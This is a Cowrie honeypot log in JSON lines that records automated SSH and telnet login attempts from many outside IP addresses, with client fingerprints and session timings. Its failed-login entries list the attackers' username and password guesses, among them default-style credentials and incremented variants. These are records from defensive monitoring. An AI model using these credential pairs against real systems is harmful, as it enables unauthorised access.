{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:36.955585Z","src_ip":"103.77.242.62","session":"b9589eb36261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardinal","message":"login attempt [root/cardinal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:37.705404Z","src_ip":"103.77.242.62","session":"b9589eb36261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:38.957791Z","src_ip":"103.77.242.62","session":"b9589eb36261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":42694,"dst_ip":"159.203.135.109","dst_port":22,"session":"274387165495","protocol":"ssh","message":"New connection: 103.13.206.227:42694 (159.203.135.109:22) [session: 274387165495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:55.137514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:55.143445Z","src_ip":"103.13.206.227","session":"274387165495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:55.388849Z","src_ip":"103.13.206.227","session":"274387165495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Welcome@123","message":"login attempt [postgres/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:56.391359Z","src_ip":"103.13.206.227","session":"274387165495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:57.636696Z","src_ip":"103.13.206.227","session":"274387165495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1b0b2be2495","protocol":"ssh","message":"New connection: 191.101.59.86:46938 (159.203.135.109:22) [session: b1b0b2be2495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:24.799932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:24.805522Z","src_ip":"191.101.59.86","session":"b1b0b2be2495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:24.894036Z","src_ip":"191.101.59.86","session":"b1b0b2be2495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mega","password":"mega","message":"login attempt [mega/mega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:25.262208Z","src_ip":"191.101.59.86","session":"b1b0b2be2495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:26.342355Z","src_ip":"191.101.59.86","session":"b1b0b2be2495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"c574a11e76c7","protocol":"ssh","message":"New connection: 82.197.58.130:38256 (159.203.135.109:22) [session: c574a11e76c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:27.934602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:27.940417Z","src_ip":"82.197.58.130","session":"c574a11e76c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:28.098886Z","src_ip":"82.197.58.130","session":"c574a11e76c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openkm","password":"openkm123","message":"login attempt [openkm/openkm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:28.749046Z","src_ip":"82.197.58.130","session":"c574a11e76c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:08:29.906725Z","src_ip":"82.197.58.130","session":"c574a11e76c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60746,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8d91e3c3cb","protocol":"ssh","message":"New connection: 103.27.238.114:60746 (10.17.0.5:22) [session: ad8d91e3c3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:06.844301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:06.855082Z","src_ip":"103.27.238.114","session":"ad8d91e3c3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:07.124953Z","src_ip":"103.27.238.114","session":"ad8d91e3c3cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101086","message":"login attempt [root/101086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:07.926234Z","src_ip":"103.27.238.114","session":"ad8d91e3c3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:09.199996Z","src_ip":"103.27.238.114","session":"ad8d91e3c3cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":48096,"dst_ip":"159.203.135.109","dst_port":22,"session":"09e49de56dc7","protocol":"ssh","message":"New connection: 31.41.152.180:48096 (159.203.135.109:22) [session: 09e49de56dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:10.479256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:10.485023Z","src_ip":"31.41.152.180","session":"09e49de56dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:10.602532Z","src_ip":"31.41.152.180","session":"09e49de56dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123","message":"login attempt [ai/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:11.081058Z","src_ip":"31.41.152.180","session":"09e49de56dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":58126,"dst_ip":"10.17.0.5","dst_port":22,"session":"36baf72c9c7b","protocol":"ssh","message":"New connection: 103.173.227.57:58126 (10.17.0.5:22) [session: 36baf72c9c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:11.345011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:11.349776Z","src_ip":"103.173.227.57","session":"36baf72c9c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:11.602511Z","src_ip":"103.173.227.57","session":"36baf72c9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:12.196345Z","src_ip":"31.41.152.180","session":"09e49de56dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vagina","message":"login attempt [root/vagina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:12.361350Z","src_ip":"103.173.227.57","session":"36baf72c9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:13.618029Z","src_ip":"103.173.227.57","session":"36baf72c9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00286722183228,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:15.150851Z","src_ip":"135.148.14.151","session":"2b80c9a414f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":64483,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df7f7eacaba","protocol":"ssh","message":"New connection: 213.209.159.56:64483 (10.17.0.5:22) [session: 9df7f7eacaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:17.291366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:22.376486Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:22.454776Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm","message":"login attempt [storm/storm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:22.855151Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm1","message":"login attempt [storm/storm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:23.940715Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm123","message":"login attempt [storm/storm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:25.026984Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm1234","message":"login attempt [storm/storm1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:26.112259Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"storm","password":"storm12345","message":"login attempt [storm/storm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:27.197598Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:28.282804Z","src_ip":"213.209.159.56","session":"9df7f7eacaba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":49082,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e96bdf141d","protocol":"ssh","message":"New connection: 191.101.59.86:49082 (159.203.135.109:22) [session: 18e96bdf141d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:44.664503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:44.668797Z","src_ip":"191.101.59.86","session":"18e96bdf141d","protocol":"ssh"}
